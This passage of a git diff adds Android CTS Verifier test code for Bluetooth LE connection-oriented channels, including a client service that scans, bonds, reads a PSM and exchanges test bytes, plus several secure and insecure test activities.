+ if (characteristic == null) {
+ showMessage("Characteristic not found");
+ }
+ }
+ return characteristic;
+ }
+
+ private void showMessage(final String msg) {
+ mHandler.post(new Runnable() {
+ public void run() {
+ Toast.makeText(BleCocClientService.this, msg, Toast.LENGTH_SHORT).show();
+ }
+ });
+ }
+
+ private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
+ @Override
+ public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
+ if (DEBUG) {
+ Log.d(TAG, "onConnectionStateChange: status=" + status + ", newState=" + newState);
+ }
+ if (status == BluetoothGatt.GATT_SUCCESS) {
+ if (newState == BluetoothProfile.STATE_CONNECTED) {
+ mBleState = newState;
+ int bondState = gatt.getDevice().getBondState();
+ boolean bonded = false;
+ BluetoothDevice target = gatt.getDevice();
+ Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
+ if (!pairedDevices.isEmpty()) {
+ for (BluetoothDevice device : pairedDevices) {
+ if (device.getAddress().equals(target.getAddress())) {
+ bonded = true;
+ break;
+ }
+ }
+ }
+ if (mSecure && ((bondState == BluetoothDevice.BOND_NONE) || !bonded)) {
+ // not pairing and execute Secure Test
+ Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+ + "Not paired but execute secure test");
+ mBluetoothGatt.disconnect();
+ notifyMismatchSecure();
+ } else if (!mSecure && ((bondState != BluetoothDevice.BOND_NONE) || bonded)) {
+ // already pairing and execute Insecure Test
+ Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+ + "Paired but execute insecure test");
+ mBluetoothGatt.disconnect();
+ notifyMismatchInsecure();
+ } else {
+ notifyConnected();
+ }
+ } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+ mBleState = newState;
+ mSecure = false;
+ mBluetoothGatt.close();
+ notifyDisconnected();
+ }
+ } else {
+ showMessage("Failed to connect: " + status + " , newState = " + newState);
+ mBluetoothGatt.close();
+ mBluetoothGatt = null;
+ }
+ }
+
+ @Override
+ public void onServicesDiscovered(BluetoothGatt gatt, int status) {
+ if (DEBUG) {
+ Log.d(TAG, "onServicesDiscovered: status=" + status);
+ }
+ if ((status == BluetoothGatt.GATT_SUCCESS) &&
+ (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+ notifyServicesDiscovered();
+ }
+ }
+
+ @Override
+ public void onCharacteristicRead(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic, int status) {
+ UUID uid = characteristic.getUuid();
+ if (DEBUG) {
+ Log.d(TAG, "onCharacteristicRead: status=" + status + ", uuid=" + uid);
+ }
+ if (status == BluetoothGatt.GATT_SUCCESS) {
+ String value = characteristic.getStringValue(0);
+ if (characteristic.getUuid().equals(LE_PSM_CHARACTERISTIC_UUID)) {
+ mPsm = characteristic.getIntValue(BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+ if (DEBUG) {
+ Log.d(TAG, "onCharacteristicRead: reading PSM=" + mPsm);
+ }
+ Intent intent = new Intent(BLE_GOT_PSM);
+ sendBroadcast(intent);
+ } else {
+ if (DEBUG) {
+ Log.d(TAG, "onCharacteristicRead: Note: unknown uuid=" + uid);
+ }
+ }
+ } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+ notifyError("Not Permission Read: " + status + " : " + uid);
+ } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+ notifyError("Not Authentication Read: " + status + " : " + uid);
+ } else {
+ notifyError("Failed to read characteristic: " + status + " : " + uid);
+ }
+ }
+ };
+
+ private final ScanCallback mScanCallback = new ScanCallback() {
+ @Override
+ public void onScanResult(int callbackType, ScanResult result) {
+ if (mBluetoothGatt == null) {
+ // verify the validity of the advertisement packet.
+ mValidityService = false;
+ List<ParcelUuid> uuids = result.getScanRecord().getServiceUuids();
+ for (ParcelUuid uuid : uuids) {
+ if (uuid.getUuid().equals(BleCocServerService.ADV_COC_SERVICE_UUID)) {
+ if (DEBUG) {
+ Log.d(TAG, "onScanResult: Found ADV with LE CoC Service UUID.");
+ }
+ mValidityService = true;
+ break;
+ }
+ }
+ if (mValidityService) {
+ stopScan();
+
+ BluetoothDevice device = result.getDevice();
+ if (DEBUG) {
+ Log.d(TAG, "onScanResult: Found ADV with CoC UUID on device="
+ + device);
+ }
+ if (mSecure) {
+ if (device.getBondState() != BluetoothDevice.BOND_BONDED) {
+ if (!device.createBond()) {
+ notifyError("Failed to call create bond");
+ }
+ } else {
+ mDevice = device;
+ mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false,
+ mSecure, mGattCallbacks);
+ }
+ } else {
+ mDevice = device;
+ mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false, mSecure,
+ mGattCallbacks);
+ }
+ } else {
+ notifyError("No valid service in Advertisement");
+ }
+ }
+ }
+ };
+
+ private boolean checkReadBufContent(byte[] buf, int len) {
+ // Check that the content is correct
+ for (int i = 0; i < len; i++) {
+ if (buf[i] != mNextReadByte) {
+ Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+ + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+ return false;
+ }
+ mNextReadByte++;
+ }
+ return true;
+ }
+
+ private void handleMessageRead(Message msg) {
+ byte[] buf = (byte[])msg.obj;
+ int len = msg.arg1;
+ if (len <= 0) {
+ return;
+ }
+ mTotalReadLen += len;
+ if (DEBUG) {
+ Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+ + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+ }
+
+ if (mNextReadExpectedLen == mTotalReadLen) {
+ if (!checkReadBufContent(buf, len)) {
+ mNextReadExpectedLen = -1;
+ return;
+ }
+ showMessage("Read " + len + " bytes");
+ if (DEBUG) {
+ Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+ }
+ Intent intent = new Intent(mNextReadCompletionIntent);
+ sendBroadcast(intent);
+ mNextReadExpectedLen = -1;
+ mNextReadCompletionIntent = null;
+ mTotalReadLen = 0;
+ } else if (mNextReadExpectedLen > mTotalReadLen) {
+ if (!checkReadBufContent(buf, len)) {
+ mNextReadExpectedLen = -1;
+ return;
+ }
+ } else if (mNextReadExpectedLen < mTotalReadLen) {
+ Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+ + ", expected len=" + mNextReadExpectedLen);
+ }
+ }
+
+ private void sendMessage(byte[] buf) {
+ mChatService.write(buf);
+ }
+
+ private void handleMessageWrite(Message msg) {
+ byte[] buffer = (byte[]) msg.obj;
+ int len = buffer.length;
+
+ showMessage("LE Coc Client wrote " + len + " bytes");
+ if (len == mNextWriteExpectedLen) {
+ if (mNextWriteCompletionIntent != null) {
+ Intent intent = new Intent(mNextWriteCompletionIntent);
+ sendBroadcast(intent);
+ }
+ } else {
+ Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+ }
+ }
+
+ private class ChatHandler extends Handler {
+ @Override
+ public void handleMessage(Message msg) {
+ super.handleMessage(msg);
+ if (DEBUG) {
+ Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+ }
+ int state = msg.arg1;
+ switch (msg.what) {
+ case BluetoothChatService.MESSAGE_STATE_CHANGE:
+ if (state == BluetoothChatService.STATE_CONNECTED) {
+ // LE CoC is established
+ notifyLeCocClientConnected();
+ }
+ break;
+ case BluetoothChatService.MESSAGE_READ:
+ handleMessageRead(msg);
+ break;
+ case BluetoothChatService.MESSAGE_WRITE:
+ handleMessageWrite(msg);
+ break;
+ }
+ }
+ }
+
+ private void notifyLeCocClientConnected() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyLeCocClientConnected: device=" + mDevice + ", mSecure=" + mSecure);
+ }
+ showMessage("Bluetooth LE Coc connected");
+ Intent intent = new Intent(BLE_COC_CONNECTED);
+ sendBroadcast(intent);
+ }
+
+ private void leCocClientConnect() {
+ if (DEBUG) {
+ Log.d(TAG, "leCocClientConnect: device=" + mDevice + ", mSecure=" + mSecure);
+ }
+ if (mDevice == null) {
+ Log.e(TAG, "leCocClientConnect: mDevice is null");
+ return;
+ }
+ // Construct BluetoothChatService with useBle=true parameter
+ mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+ mChatService.connect(mDevice, mSecure, mPsm);
+ }
+
+ private void leCheckConnectionType() {
+ if (mChatService == null) {
+ Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+ return;
+ }
+ int type = mChatService.getSocketConnectionType();
+ if (type != BluetoothSocket.TYPE_L2CAP) {
+ Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+ return;
+ }
+ showMessage("LE Coc Connection Type Checked");
+ Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+ sendBroadcast(intent);
+ }
+
+ private void sendData8bytes() {
+ if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+ final byte[] buf = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
+ mNextWriteExpectedLen = 8;
+ mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+ sendMessage(buf);
+ }
+
+ private void sendDataLargeBuf() {
+ final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+ if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+ byte[] buf = new byte[len];
+ for (int i = 0; i < len; i++) {
+ buf[i] = (byte)(i + 1);
+ }
+ mNextWriteExpectedLen = len;
+ mNextWriteCompletionIntent = null;
+ sendMessage(buf);
+ }
+
+ private void readData8bytes() {
+ mNextReadExpectedLen = 8;
+ mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+ mNextReadByte = 1;
+ }
+
+ private void readDataLargeBuf() {
+ mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+ mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+ mNextReadByte = 1;
+ }
+
+ private void startScan() {
+ if (DEBUG) Log.d(TAG, "startScan");
+ List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(
+ new ParcelUuid(BleCocServerService.ADV_COC_SERVICE_UUID)).build());
+ ScanSettings setting = new ScanSettings.Builder()
+ .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+ mScanner.startScan(filter, setting, mScanCallback);
+ }
+
+ private void stopScan() {
+ if (DEBUG) Log.d(TAG, "stopScan");
+ if (mScanner != null) {
+ mScanner.stopScan(mScanCallback);
+ }
+ }
+
+ private final BroadcastReceiver mBondStatusReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
+ BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+ int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+ BluetoothDevice.BOND_NONE);
+ switch (state) {
+ case BluetoothDevice.BOND_BONDED:
+ if (mBluetoothGatt == null) {
+ if (DEBUG) {
+ Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt. device="
+ + device + ", mSecure=" + mSecure);
+ }
+ mDevice = device;
+ mBluetoothGatt = connectGatt(device, BleCocClientService.this, false, mSecure,
+ mGattCallbacks);
+ }
+ break;
+ case BluetoothDevice.BOND_NONE:
+ notifyError("Failed to create bond");
+ break;
+ case BluetoothDevice.BOND_BONDING:
+ // fall through
+ default:
+ // wait for next state
+ break;
+ }
+ }
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
new file mode 100644
index 0000000..c5c84d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
@@ -0,0 +1,295 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.ProgressDialog;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import android.util.Log;
+
+public class BleCocClientTestBaseActivity extends PassFailButtons.Activity {
+ public static final String TAG = "BleCocClientTestBase";
+
+ private static final boolean STEP_EXECUTION = false;
+
+ private final int TEST_BLE_LE_CONNECTED = 0;
+ private final int TEST_BLE_GOT_PSM = 1;
+ private final int TEST_BLE_COC_CONNECTED = 2;
+ private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 3;
+ private final int TEST_BLE_DATA_8BYTES_SENT = 4;
+ private final int TEST_BLE_DATA_8BYTES_READ = 5;
+ private final int TEST_BLE_DATA_EXCHANGED = 6;
+ private final int TEST_BLE_CLIENT_DISCONNECTED = 7;
+ private static final int PASS_FLAG_ALL = 0x00FF;
+
+ private TestAdapter mTestAdapter;
+ private long mPassed;
+ private Dialog mDialog;
+ private Handler mHandler;
+
+ private static final long BT_ON_DELAY = 10000;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.ble_server_start);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+
+ mTestAdapter = new TestAdapter(this, setupTestList());
+ ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+ listView.setAdapter(mTestAdapter);
+
+ mPassed = 0;
+ mHandler = new Handler();
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+
+ IntentFilter filter = new IntentFilter();
+
+ filter.addAction(BleCocClientService.BLE_LE_CONNECTED);
+ filter.addAction(BleCocClientService.BLE_GOT_PSM);
+ filter.addAction(BleCocClientService.BLE_COC_CONNECTED);
+ filter.addAction(BleCocClientService.BLE_CONNECTION_TYPE_CHECKED);
+ filter.addAction(BleCocClientService.BLE_DATA_8BYTES_SENT);
+ filter.addAction(BleCocClientService.BLE_DATA_8BYTES_READ);
+ filter.addAction(BleCocClientService.BLE_DATA_LARGEBUF_READ);
+ filter.addAction(BleCocClientService.BLE_LE_DISCONNECTED);
+
+ filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISCONNECTED);
+ filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISABLED);
+ filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE);
+ filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+ filter.addAction(BleCocClientService.BLE_CLIENT_ERROR);
+
+ registerReceiver(mBroadcast, filter);
+ }
+
+ @Override
+ public void onPause() {
+ super.onPause();
+ unregisterReceiver(mBroadcast);
+ closeDialog();
+ }
+
+ private synchronized void closeDialog() {
+ if (mDialog != null) {
+ mDialog.dismiss();
+ mDialog = null;
+ }
+ }
+
+ private synchronized void showProgressDialog() {
+ closeDialog();
+
+ ProgressDialog dialog = new ProgressDialog(this);
+ dialog.setTitle(R.string.ble_test_running);
+ dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
+ dialog.setMessage(getString(R.string.ble_test_running_message));
+ dialog.setCanceledOnTouchOutside(false);
+ mDialog = dialog;
+ mDialog.show();
+ }
+
+ private List<Integer> setupTestList() {
+ ArrayList<Integer> testList = new ArrayList<Integer>();
+ testList.add(R.string.ble_coc_client_le_connect);
+ testList.add(R.string.ble_coc_client_get_psm);
+ testList.add(R.string.ble_coc_client_coc_connect);
+ testList.add(R.string.ble_coc_client_check_connection_type);
+ testList.add(R.string.ble_coc_client_send_data_8bytes);
+ testList.add(R.string.ble_coc_client_receive_data_8bytes);
+ testList.add(R.string.ble_coc_client_data_exchange);
+ testList.add(R.string.ble_client_disconnect_name);
+ return testList;
+ }
+
+ private void showErrorDialog(int titleId, int messageId, boolean finish) {
+ AlertDialog.Builder builder = new AlertDialog.Builder(this)
+ .setTitle(titleId)
+ .setMessage(messageId);
+ if (finish) {
+ builder.setOnCancelListener(new Dialog.OnCancelListener() {
+ @Override
+ public void onCancel(DialogInterface dialog) {
+ finish();
+ }
+ });
+ }
+ builder.create().show();
+ }
+
+ private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ boolean showProgressDialog = false;
+ closeDialog();
+
+ String action = intent.getAction();
+ String newAction = null;
+ String actionName = null;
+ long previousPassed = mPassed;
+ final Intent startIntent = new Intent(BleCocClientTestBaseActivity.this, BleCocClientService.class);
+ if (action != null) {
+ Log.d(TAG, "Processing " + action);
+ }
+ switch (action) {
+ case BleCocClientService.BLE_LE_CONNECTED:
+ actionName = getString(R.string.ble_coc_client_le_connect);
+ mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+ mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+ // Start LE Service Discovery and then read the PSM
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_GET_PSM;
+ break;
+
+ case BleCocClientService.BLE_GOT_PSM:
+ actionName = getString(R.string.ble_coc_client_get_psm);
+ mTestAdapter.setTestPass(TEST_BLE_GOT_PSM);
+ mPassed |= (1 << TEST_BLE_GOT_PSM);
+ // Connect the LE CoC
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT;
+ break;
+
+ case BleCocClientService.BLE_COC_CONNECTED:
+ actionName = getString(R.string.ble_coc_client_coc_connect);
+ mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+ mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+ // Check the connection type
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE;
+ break;
+
+ case BleCocClientService.BLE_CONNECTION_TYPE_CHECKED:
+ actionName = getString(R.string.ble_coc_client_check_connection_type);
+ mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+ mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+ // Send 8 bytes
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES;
+ break;
+
+ case BleCocClientService.BLE_DATA_8BYTES_SENT:
+ actionName = getString(R.string.ble_coc_client_send_data_8bytes);
+ mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+ mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+ // Read 8 bytes
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES;
+ break;
+
+ case BleCocClientService.BLE_DATA_8BYTES_READ:
+ actionName = getString(R.string.ble_coc_client_receive_data_8bytes);
+ mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+ mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+ // Do data exchanges
+ newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA;
+ break;
+
+ case BleCocClientService.BLE_DATA_LARGEBUF_READ:
+ actionName = getString(R.string.ble_coc_client_data_exchange);
+ mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+ mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+ // Disconnect
+ newAction = BleCocClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+ break;
+
+ case BleCocClientService.BLE_BLUETOOTH_DISCONNECTED:
+ mTestAdapter.setTestPass(TEST_BLE_CLIENT_DISCONNECTED);
+ mPassed |= (1 << TEST_BLE_CLIENT_DISCONNECTED);
+ // all tests done
+ newAction = null;
+ break;
+
+ case BleCocClientService.BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+ break;
+
+ case BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+ break;
+
+ case BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+ break;
+
+ default:
+ Log.e(TAG, "onReceive: Error: unhandled action=" + action);
+ }
+
+ if (previousPassed != mPassed) {
+ String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+ previousPassed, mPassed, mPassed ^ previousPassed);
+ Log.d(TAG, logMessage);
+ }
+
+ mTestAdapter.notifyDataSetChanged();
+
+ if (newAction != null) {
+ Log.d(TAG, "Starting " + newAction);
+ startIntent.setAction(newAction);
+ if (STEP_EXECUTION) {
+ closeDialog();
+ final boolean showProgressDialogValue = showProgressDialog;
+ mDialog = new AlertDialog.Builder(BleCocClientTestBaseActivity.this)
+ .setTitle(actionName)
+ .setMessage(R.string.ble_test_finished)
+ .setCancelable(false)
+ .setPositiveButton(R.string.ble_test_next,
+ new DialogInterface.OnClickListener() {
+ @Override
+ public void onClick(DialogInterface dialog, int which) {
+ closeDialog();
+ if (showProgressDialogValue) {
+ showProgressDialog();
+ }
+ startService(startIntent);
+ }
+ })
+ .show();
+ } else {
+ if (showProgressDialog) {
+ showProgressDialog();
+ }
+ startService(startIntent);
+ }
+ } else {
+ closeDialog();
+ }
+
+ if (mPassed == PASS_FLAG_ALL) {
+ Log.d(TAG, "All Tests Passed.");
+ getPassButton().setEnabled(true);
+ }
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
new file mode 100644
index 0000000..177f953
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+import com.android.cts.verifier.R;
+
+public class BleCocInsecureClientStartActivity extends BleCocClientTestBaseActivity {
+ private Intent mIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setInfoResources(R.string.ble_coc_client_test_name,
+ R.string.ble_coc_insecure_client_test_info, -1);
+
+ mIntent = new Intent(this, BleCocClientService.class);
+ mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT);
+
+ startService(mIntent);
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ stopService(mIntent);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
new file mode 100644
index 0000000..f60909a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocInsecureClientTestListActivity extends PassFailButtons.TestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.ble_coc_insecure_client_test_list_name,
+ R.string.ble_coc_insecure_client_test_list_info,
+ -1);
+
+ BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+ List<String> disabledTest = new ArrayList<String>();
+
+ setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+ disabledTest.toArray(new String[disabledTest.size()])));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
new file mode 100644
index 0000000..7f7808b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocInsecureServerStartActivity extends BleCocServerTestBaseActivity {
+ private Intent mIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mIntent = new Intent(this, BleCocServerService.class);
+ mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_INSECURE);
+ startService(mIntent);
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ stopService(mIntent);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
new file mode 100644
index 0000000..2f5c59e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocInsecureServerTestListActivity extends PassFailButtons.TestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.ble_coc_insecure_server_test_list_name, R.string.ble_coc_insecure_server_test_list_info, -1);
+
+ BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+ List<String> disabledTest = new ArrayList<String>();
+ // TODO: Any need to remove certain tests based on supported features?
+
+ setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+ disabledTest.toArray(new String[disabledTest.size()])));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
new file mode 100644
index 0000000..ae97daa
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
